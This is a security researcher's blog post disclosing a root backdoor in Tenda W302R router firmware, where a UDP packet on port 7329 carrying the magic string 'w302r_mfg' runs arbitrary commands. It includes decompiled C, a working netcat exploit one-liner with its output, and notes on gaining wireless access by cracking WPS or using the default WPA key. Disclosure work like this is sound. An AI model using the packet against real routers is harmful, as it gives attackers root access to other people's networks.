From China, With Love – /dev/ttyS0

Lest anyone think that D-Link is the only vendor who puts backdoors in their products, here’s one that can be exploited with a single UDP packet, courtesy of Tenda.

After extracting the latest firmware for Tenda’s W302R wireless router, I started looking at /bin/httpd, which turned out to be the GoAhead webserver:

Server header string in /bin/httpd

Server header string in /bin/httpd

But Tenda has made a lot of special modifications themselves. Just before entering the HTTP receive loop, main calls InitMfgTask, which spawns the MfgThread function as a separate thread:

pthread_create(&var_10, 0, MfgThread, 0);

pthread_create(&var_10, 0, MfgThread, 0);

Hmmm…InitMfgTask and MfgThread? Related to manufacturing tasks perhaps? Iiiiiinteresting…

The first thing MfgThread does is create a UDP socket and bind it to port 7329:

Create UDP socket and bind to port 7329

Create UDP socket and bind to port 7329

The thread then goes into a recvfrom loop, reading up to 128 bytes from the socket. It expects each received UDP packet to be at least 14 bytes in length:

Read packet from socket and check packet size

Read packet from socket and check packet size

Now for the fun part; the received UDP packet is then parsed by this block of code:

Processing the received packet

Processing the received packet

In C, this code reads:

memset(rx_magic_string, 0, 0x80);
memset(command_byte, 0, 0x80);
memset(command_arg, 0, 0x80);

memcpy(rx_magic_string, rx_buf, 9);
command_byte[0] = rx_buf[11];
memcpy(command_arg, rx_buf+12, rx_size-12);

// If magic string doesn't match, stop processing this packet and wait for another packet
if(strcmp(rx_magic_string, "w302r_mfg") != 0) goto outer_receive_loop;

We can see that the thread is expecting a packet with the following structure:

struct command_packet_t
    char magic[10]; // 9 byte magic string ("w302r_mfg"), plus a NULL terminating byte
    char command_byte;
    char command_arg[117];

As long as the received packet starts with the string “w302r_mfg”, the code then compares the specified command byte against three ASCII characters (‘1’, ‘x’, and ‘e’):

Comparing command_byte to '1', 'x' and 'e'

Comparing command_byte to ‘1’, ‘x’ and ‘e’

For simplicity, I’ve converted the remaining disassembly (at least the important bits) to the following C code:

    case 'e':
        strcpy(tx_buf, "w302r_mfg");
        tx_size = 9;
    case '1':
        if(strstr(command_arg, "iwpriv") != NULL)
            tx_size = call_shell(command_arg, tx_buf, 0x800);
            strcpy(tx_buf, "000000");
            tx_size = strlen(tx_buf);
    case 'x':
        tx_size = call_shell(command_arg, tx_buf, 0x800);
        goto outer_receive_loop;

sendto(client_socket, tx_buf, tx_size, client_sock_addr, 16);
goto outer_receive_loop;

The following actions correspond to the three accepted command bytes:

  • ‘e’ – Responds with a pre-defined string, basically a ping test
  • ‘1’ – Intended to allow you to run iwpriv commands
  • ‘x’ – Allows you to run any command, as root

If ‘x’ is specified as the command byte, the remainder of the packet after the command byte (called command_arg in the above code) is passed to call_shell, which executes the command via popen:

popen(command_arg, "r");

popen(command_arg, “r”);

What’s more, call_shell populates the tx_buf buffer with the output from the command, which, as we can see from the previous C code, is sent back to the client!

Knowing the functionality of MfgThread and its expected packet structure, we can easily exercise this backdoor with netcat:

$ echo -ne "w302r_mfgx00x/bin/ls" | nc -u -q 5 7329
drwxr-xr-x    2 0        0            1363 webroot
drwxr-xr-x    1 0        0               0 var
drwxr-xr-x    5 0        0              43 usr
drwxr-xr-x    1 0        0               0 tmp
drwxr-xr-x    2 0        0               3 sys
drwxr-xr-x    2 0        0             569 sbin
dr-xr-xr-x   39 0        0               0 proc
drwxr-xr-x    2 0        0               3 mnt
drwxr-xr-x    1 0        0               0 media
drwxr-xr-x    4 0        0             821 lib
lrwxrwxrwx    1 0        0              11 init -> bin/busybox
drwxr-xr-x    2 0        0               3 home
drwxr-xr-x    7 0        0             154 etc_ro
drwxr-xr-x    1 0        0               0 etc
drwxr-xr-x    1 0        0               0 dev
drwxr-xr-x    2 1000     100           574 bin

One teensy-weensy, but ever so crucial little tiny detail is that the backdoor only listens on the LAN, thus it is not exploitable from the WAN. However, it is exploitable over the wireless network, which has WPS enabled by default with no brute force rate limiting. My shiny new ReaverPro box made relatively short work of cracking WPS, providing access to the WLAN and a subsequent root shell on the router (they also ship with a default WPA key, which you might want to try first):

ReaverPro cracking the WPS pin

ReaverPro cracking the WPS pin

Starting telnetd and getting a root shell

Starting telnetd and getting a root shell

As the magic string suggests, this backdoor was likely first implemented in Tenda’s W302R router, although it also exists in the Tenda W330R, as well as re-branded models, such as the Medialink MWN-WAPR150N. They all use the same “w302r_mfg” magic packet string.


ea did a great job of grepping through various Tenda firmwares to find a lot more routers that are likely affected:

Bookmark the permalink.

Comments are closed.